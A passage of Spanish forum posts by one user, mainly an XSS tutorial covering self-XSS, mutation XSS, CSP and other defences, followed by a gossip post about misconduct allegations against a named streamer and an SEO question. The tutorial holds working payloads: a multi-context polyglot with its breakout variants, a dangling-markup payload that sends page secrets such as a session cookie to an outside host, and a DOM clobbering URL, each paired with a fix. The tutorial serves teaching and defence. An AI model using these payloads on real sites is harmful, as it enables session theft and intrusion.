Al realizar un self XSS consciente, tratas de explotar cualquiera de los otros tipos de XSS a través de este. Con un ejemplo se ve mejor. Self XSS. Como puedes ver, cuando vas a esta página te retorna la versión de tu navegador. Esta información no se puede modificar con javascript. Pero si puedes modificarla con un proxy que intercepte las peticiones HTTP o modificando la configuración de tu navegador. Si modificas tu userAgent y lo cambias por código como el del último ejemplo, conseguiras la ejecución de código.
El tema está en que no tienes forma de modificarle esta información a otro usuario a través de código javascript/html. Entonces para que sirve hacerse selfxss consciente? Normalmente no de mucho. Se pueden hacer utilidades para remover atributos como pattern, required, max, etc. Prácticamente lo mismo que con la consola del navegador con el objetivo de facilitar la explotación de otros fallos.
Por el otro lado el selfXSS inducido es una técnica más propia de phishing que de xss. El objetivo de la técnica es engañar a un usuario para que ejecute tu código sobre la página objetivo. Un ejemplo burdo: "Ve a al login de facebook, pon tu usuario y contraseña y ejecuta este código siguiendo estos pasos para poder entrar como administrador y ver los mensajes de los demás usuarios.".
Creo que ambos selfXSS son al menos dignos de mención. El primero para evitar confusiones si se encuentra este fallo en una página y el segundo para poder entender algunas de las limitaciones impuestas sobre la ejecución del pseudo-protocolo javascript: (permite correr javascript sobre la web actual así como explotar otros XSS) .
 
   • mXSS (mutación de la inyección de javascript)
Es el xss es más raro de ver. Es causado por una mala interpretación del parser del navegador cuando le el código y forma las etiquetas en base a él. Por ejemplo tu podrías estar metiendo un string de html dentro de un script tal que:
Código
  1. <script>
  2. var miTexto = `Mis etiquetas favoritas son <div> <img> y </script>
  3. Es una pena que no se puedan utilizar todas juntas así:
  4. <div etiquetasFavoritas=</script><img onerror=alert() src= >y</div>>`;
  5. alert(miTexto);
  6. </script>

El navegador cuando cargas la página lo entiende como lo siguiente:
Código
  1. <script>var miTexto = `Mis etiquetas favoritas son <div> <img> y </script>
  2. Es una pena que no se puedan utilizar todas juntas así:
  3. <div etiquetasFavortias=`></script>
  4. <img onerror="alert()"><div></div>
  5. alert(miTexto);
  6. <script></script></body></html>

Si te fijas, lo que antes era código javascript (en concreto un string) ahora a mutado a ser código html pasando a interpretarse como tal y por tanto permitiendo la ejecución del script.
Este fallo no es un error en la página, ni es culpa del programador de la misma. Si no de una mala interpretación de lo que hay en ella por parte del navegador. La mutación no es exclusiva de javascript a html, si no que puede mutar de css a html, de html a css, etc.

 
 

5. Codificaciones, Filtros, firewalls, reglas, políticas...
Ya sabes los tipos de xss que hay. Cómo se previenen?

   • HTML Entities.
Las entidades html son una forma alternativa de representar caracteres peligrosos que previene su ejecución por parte del navegador. Por ejemplo si en tu código html pones &lt; en lugar de < el navegador no interpretara la etiqueta pero los visitantes verán el caracter <. También se puede hacer lo mismo usando los números que representan el caracter en la tabla Ascii. < es &#60; Aquí tienes un programa que hace esta conversión para que no tengas que mirarlos todos. html entities.
 
   • X-XSS-Protection:
Esta cabecera HTTP enviada por el servidor cuando envía la página, indica al navegador que no carge una página si el propio navegador detecta un ataque XSS. Se puede enviar desde PHP header("X-XSS-Protection: 1; mode=block"); y desde apache
Código
  1. <IfModule mod_headers.c>
  2. Header set X-XSS-Protection "1; mode=block"
  3. </IfModule>

   • Content-Security-Policy:
Esta cabecera HTTP indica cual es el contenido que tu página permite y cual no, así como quien puede. De esta forma si una inyección intenta hacer algo que está bloqueado en las políticas, el navegador lo impedirá.
Código
  1. Content-Security-Policy: default-src 'none'; img-src 'self'; object-src 'none'; script-src 'self'; style-src 'self'; frame-ancestors 'none'; base-uri 'none'; form-action 'none';
Aquí tienes un artículo donde se explica exactamente que hace cada directiva. CSP MDN Aquí otro donde se explica de forma generalizada la política con varios examplos de uso común. CSP Google. También debes implementar X-Frame-Options para evitar otra vulnerabilidad muy frecuente que permite secuestro de clicks. XFO MDN
 
   • WAF se trata de una tecnología (normalmente un servidor) que hace de frontera recibiendo los datos introducidos por los usuarios con el objetivo de detectar ataques y tomar las medidas configuradas. Tras analizar las peticiones, se envían al servidor real.
  




6. Ataques y Técnicas (básicas, intermedias y avanzadas).
 

 
   • Básicas:

      • XSS (inyección de javascript en sitios cruzados) ya lo has visto en la sección número 4.
 
      • HTML injection (inyección de html) es una inyección de código html que no incluye la ejecución de código javascript de ninguna forma.
Un ejemplo básico es la inserción de un formulario apuntando al servidor malicioso donde se le pide al usuario legítimo que introduzca sus credenciales, pensando este que se está comunicando con la página actual.
También son comunes redirecciones a otras páginas, defacements, enlaces de phishing...
FIX: Puedes utilizar htmlEntities sobre el input para evitar que se interpreten las etiquetas. En caso de frontend puede utilizar textnodes o utilizar .innerText
  
      • javascript injection (inyección de javascript) es una técnica que te permite inyectar código javascript para manipular el comportamiento de una página o aplicación.
Un ejemplo sencillo es no perder las vidas en el juego offline del dinosauro de Google Chrome. Se ha echo bastante popular cambiar el código de la función de morir para que no haga nada cuando sea llamado.
Este concepto es aplicable a la seguridad donde se puede manipular el código para obtener resultados no esperados, robo de contraseñas y demás.
Si se están enviando datos a un servidor, pueden estar manipulados.
FIX: El cliente siempre puede ser manipulable por diseño, incluso remplazado completamente sin que el servidor lo notifique. Es por eso que siempre se debe validar toda información proveniente de él en el servidor.
  
      • Inline javascript injection (inyección de javascript en atributos) es una técnica de inyección de javascript comunmente utilizada para conseguir ejecución de javascript en atributos y eventos.
Por ejemplo <a href="javascript:alert('Hola')">Saludar</a>, <svg onload="alert('Hola')"> o <img onerror="alert('Hola')" src= > son solo algunos de las inyecciones utilizando algunos de los parámetros que pueden ejecutar javascript.
FIX: Cuando sea posible debes eliminar todo TU javascript inline y javascript entre etiquetas script. Debes moverlo a un archivo externo. De esta forma puedes aplicar políticas restrictivas que bloquen toda la ejecución de javascript en la página y solo se permite su ejecución desde tus archivos javascript. Lo mismo aplica a css, svg y otras tecnologías que no sean puramente html.
  
      • Alternative Attribute Separation (separación de atributos alternativa) algunos filtros asumen que la única forma posible de separar un atributo de la etiqueta es usar espacios.



   • Intermedias:

      • Políglotas (multilenguaje) son códigos creados con el objetivo de que sean ejecutados en múltiples contextos. Son una herramienta potente para probar a ciegas en aplicaciones que no tengan un sistema que te bloqué la inyección.
      
Código
  1. javascript:confirm()</xmp></script>'"</option></select></template></embed></noscript></style></textarea></title>'"><svg/onload=confirm()><img src=0 onerror=confirm()><META HTTP-EQUIV="refresh" CONTENT="4;url=data:text/html;base64,PHNjcmlwdD5jb25maXJtKCk8L3NjcmlwdD4=">
     
      Este políglota se ejecuta en un mínimo de 14 contextos distintos. Vamos a ver tanto los payload por separado que han dado origen a este políglota, como los 14 contextos en los que se consigue ejecución de javascript.
      
Código
  1. <!-- Se rompe el atributo class con "> quedando el svg dentro del div y ejecutándose. -->
  2. <div id="iPoint1" class="{{payload}}"></div>
  3. <!-- Exploit:
  4. "><svg/onload=alert()>
  5. -->
  6.  
  7. <!-- Se rompe el atributo class con '> quedando el svg dentro del div y ejecutándose. -->
  8. <div id="iPoint2" class='{{payload}}'></div>
  9. <!-- Exploit:
  10. '><svg/onload=alert()>
  11. -->
  12.  
  13. <!-- Se cierra la etiqueta title pudiendo inyectar el svg fuera de ella. -->
  14. <title id="iPoint3">{{payload}}</title>
  15. <!-- Exploit:
  16. </title><svg/onload=alert()>
  17. -->
  18.  
  19. <!-- Se cierra la etiqueta textarea quedando el svg fuera del textarea y por tanto pasa de ser texto a html. -->
  20. <textarea id="iPoint4">{{payload}}</textarea>
  21. <!-- Exploit:
  22. </textarea><svg/onload=alert()>
  23. -->
  24.  
  25. <!-- Se cierra la etiqueta style quedando el svg fuera del style y por tanto pasa de ser código CSS a HTML. -->
  26. <style id="iPoint5">{{payload}}</style>
  27. <!-- Exploit:
  28. </style><svg/onload=alert()>
  29. -->
  30.  
  31. <!-- Se cierra la etiqueta noscript quedando el svg fuera del noscript y por tanto pudiendo ejecutar inline javascript. -->
  32. <noscript id="iPoint6">{{payload}}</noscript>
  33. <!-- Exploit:
  34. </noscript><svg/onload=alert()>
  35. -->
  36.  
  37. <!-- Se cierra la etiqueta embed quedando el svg fuera y por tanto se ejecuta el javascript. -->
  38. <embed id="iPoint7">{{payload}}</embed>
  39. <!-- Exploit:
  40. </embed><svg/onload=alert()>
  41. -->
  42.  
  43. <!-- Se cierra la etiqueta template quedando el svg fuera y por tanto se ejecuta el javascript. -->
  44. <template id="iPoint8">{{payload}}</template>
  45. <!-- Exploit:
  46. </template><svg/onload=alert()>
  47. -->
  48.  
  49. <!-- Se cierra la etiqueta script quedando el svg fuera del script y por tanto pasa de ser código javascript a html que ejecuta el script inline. -->
  50. <script id="iPoint9">{{payload}}</script>
  51. <!-- Exploit:
  52. </script><svg/onload=alert()>
  53. -->
  54.  
  55. <!-- Se cierran las etiquetas option y select quedando el svg fuera y por tanto se ejecuta el script. -->
  56. <select id="iPoint10"><option>{{payload}}</option></select>
  57. <!-- Exploit:
  58. </option></select><svg/onload=alert()>
  59. -->
  60.  
  61. <!-- Se cierran las comillas dobles y se cierra la etiqueta script pasando el svg de ser un string javascript a código html. -->
  62. <script id="iPoint11">"{{payload}}"</script>
  63. <!-- Exploit:
  64. </script>"<svg/onload=alert()>
  65. -->
  66.  
  67. <!-- Se cierran las comillas simples y se cierra la etiqueta script pasando el svg de ser un string javascript a código html. -->
  68. <script id="iPoint12">'{{payload}}'</script>
  69. <!-- Exploit:
  70. </script>'<svg/onload=alert()>
  71. -->
  72.  
  73. <!-- Se utiliza el pseudo-protocolo para ejecutar el código javascript cuando el usuario utilice el enlace. -->
  74. <a id="iPoint13" href="{{payload}}"></a>
  75. <!-- Exploit:
  76. javascript:alert()
  77. -->
  78.  
  79. <!-- Se utiliza una etiqueta meta que permite ejecución de javascript usando el uri data:. El contenido del script es un confirm codificado en base64.
  80. <head id="iPoint14">
  81. {{payload}}
  82. </head>
  83. <!-- Exploit:
  84. <META HTTP-EQUIV="refresh"
  85. CONTENT="4;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
  86. -->
       El políglota se ejecuta en todos esos contextos, pudiendo faciliar blindXSS (inyección a ciegas).

      • Dangling Markup Injection (o inyección de html colgando) es un tipo de inyección que puede servir para extración de data sensible hacia un servidor externo.
Esta inyección se basa en no cerrar las comillas de un atributo para que se incluya como valor del atributo todo el contenido hasta la siguiente comilla.
NO es una inyección javascript, es una inyección HTML. Esta técnica es útil cuando existe información sensible desde el punto de inyección en el que se inyecta tu código, hasta la siguiente comilla.
El siguiente ejemplo es vulnerable a un Reflected Dangling Markup Injection.
Dangling HTML Injection
El payload es <a href=https://phishingoda.ga/windowName.htm>If you want to use images anyway click me!</a><base target="
Funciona de la siguiente manera: El <base target="contenido"> cambia la propiedad name de la ventana del navegador. Como no cerramos el contenido del atributo, el navegador entiende que todo hasta la siguiente comilla es el contenido de target.
Debido a que el nombre de la ventana no cambia al visitar otra página, si el usuario pincha el enlace, se incluye código de la página vulnerable como nombre de la ventana. Entonces el atacante solo tiene que leer la propiedad window.name y guardarla en su servidor.
Si yo atacante, quiero robarte el texto secreto (puede ser tu cookie de sesión) de la página https://stringmanolo.ga/xssSeries/DanglingHtmlInjection.html lo que hago es enviarte un link malicioso que refleje la inyección de HTML en la página. Por ejemplo:
Ey! En la página de stringmanolo han metido nueva funcionalidad! https://stringmanolo.ga/NewFeatures pincha en el enlace de la página!
El código vulnerable es el siguiente: <div id="injectionPoint">${filtroXSS(urlInyectada)}</div> Secret Cookie (unique for each user):${cookie}<div id="breakpoint"></div> donde la primera comilla después de nuestra inyección está después de la cookie, por lo que se puede extraer la cookie como valor del atributo target.
FIX: Para prevenir este fallo se debe incluir el <base target="_self"> antes de cualquier punto de inyección.
Ojo, target no es la única propiedad que permite Dangling. src y action entre otras también lo permiten. Target en cocreto se salta las políticas CSP.



   • Avanzadas:

      • DOM Clobbering (O golpeo al DOM) es una tecnica que consiste en aprovechar que elementos/etiquetas repetidos pueden ser agrupados en colecciones, haciendose accesibles como propiedad de window.
Es común que un programador implemente código para comprobar si un objeto ya existe antes de definirlo let miObjeto = ( window.miObjeto || {} ) en casos donde no se permite la ejecución de javascript pero si es posible inyectar código html, es posible realizar este ataque si se usan las propiedades del objeto para alguna acción susceptible de ser remplazada por una propiedad con posibles fines maliciosos.
En el código del siguiente ejemplo existe un objeto librarySecureLogin que contiene una url a una imagen llamada login4PNG como propiedad. Para explotar la vulnerabilidad inyectamos un par de etiquetas <a> con un id igual al nombre del objeto global que queremos crear.
En la segunda etiqueta definimos el nombre de la propiedad que utiliza el código vulnerable (login4PNG) utilizando name, ya que name a la vez que atributo de <a> también es propiedad de HTMLCollection, que es el objeto que creamos al repetir el id.
También definimos el atributo de la propiedad. De esta forma cuando se llame a la propiedad, se retornada el atributo que contiene, que en este caso es una url a una inofensiva imagen.
En caso de que el código vulnerable obtenga el src de un script de esta forma, podremos cargarle nuestro archivo javascript sin violar la política que prohíbe inline javascript.
https://stringmanolo.ga/xssSeries/DOMClobbering.html#<a id=librarySecureLogin></a><a id=librarySecureLogin name=login4PNG href=https://stringmanolo.ga/xssSeries/hacked.png></a>
Es posible que si existe una política bien implementada, no se puedan cargar recursos de otro origen. En esos casos debe comprobarse si es posible un bypass de CSP o alojar el recurso en un origen permitido.
FIX: Evita el uso de || para comprobar si una propiedad de window está definida.


Nota: Seguiré añadiendo cosas a lo largo del tiempo, pero da más curro de lo que parece. Si quereis aportar algo para que lo incluya, es bienvenido!




19  Foros Generales / Foro Libre / Tocamientos y actitudes obscenas en casa de Streamers. en: 20 Septiembre 2020, 16:43 pm
Si juegais a juegos, veis streams o videos de youtube de juegos profesionales puede que conozcais a algunos de los protagonistas:
Scarra midlaner de Dignitas en League of Legends.
Pokimane la streamer femenina con más seguidores en Twitch.
Lilypichu, streamer femenina y artista.
Disguised Toast streamer de heartstome y jugador competitivo.
Yvonne, streamer femenina.
Fedmyster streamer y editor.

Hace 3 años entre ellos y algún otro streamer fundaron Offline TV un grupo de streamers que alquilaron una casa/mansión con el objetivo de colaborar en los streams, compartir gastos y hacer actividades en grupo.

En el último trimestre se ha montado un buen revuelo tran un incidente en el que Fedmyster llego ebrio a la vivienda en la que residen los streamers según relatan sus compañeros. Mantuvo actitudes obscenas con sus compañeras tras lo cual se reunieron para comentar el incidente. Durante la conversación todos sufrieron una gran revelación tras que una de las streamers se decidiese a comentar que había sufrido tocamientos anteriormente en múltiples ocasiones. Tras lo cual otras de sus compañeras habitacionales relato otra historia muy similar. Durante la conversación también se reveló información de manipulaciones y chantajes con respeto a otros streamers de su círculo cercano.

Todo esto detonó tras el relato de una de las streamers en Twitter tras lo que más y más información que da veracidad al modus operandi apoyase las declaraciones. Tras el relato de todas las compañeras de vivienda, fedmyster admitió que tiene un problema. Todavía no ha quedado claro si han sido solo tocamientos o llegó a mantener relaciones con sus compañeras de piso aprovechándose de su estado de embriagadez para eludir responsabilidades.

Tres días después de los relatos en Twitter, se comunicó de forma oficial desde el canal de OfflineTV la expulsión de Fedmyster de la casa con un mensaje contundente:
"Queremos estar en un lugar en el que todos se puedan sentir seguros y a gusto. Con esto en mente, Fed ha sido expulsado de Offline TV. Tampoco vivirá con nosotros. Apoyamos de todo corazon a Yvonne, su relato y a cualquiera que tenga el valor de compartir su historia."

Múltiples streamers han echo pública su opinión y desprecio sobre los echos. Otros han justificado los echos alegando que "Ligar o insinuarse de forma cutre no es un acoso ni un abuso".

El propio Fed a pedido perdón en Twitter donde relata que nunca a sido su intención acosar ni actuar de forma maliciosa y donde él mismo linkea las historias de sus compañeras:
https://twitter.com/Fedmyster/status/1277077853553561605

20  Programación / Desarrollo Web / Qué valor utilizar en el atributo lang para SEO? en: 15 Agosto 2020, 00:51 am
<html lang="es">
<html lang="es-Es">
<html lang="esEs">
<html lang="es-es">

Otro?


Páginas: 1 [2] 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ... 19
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines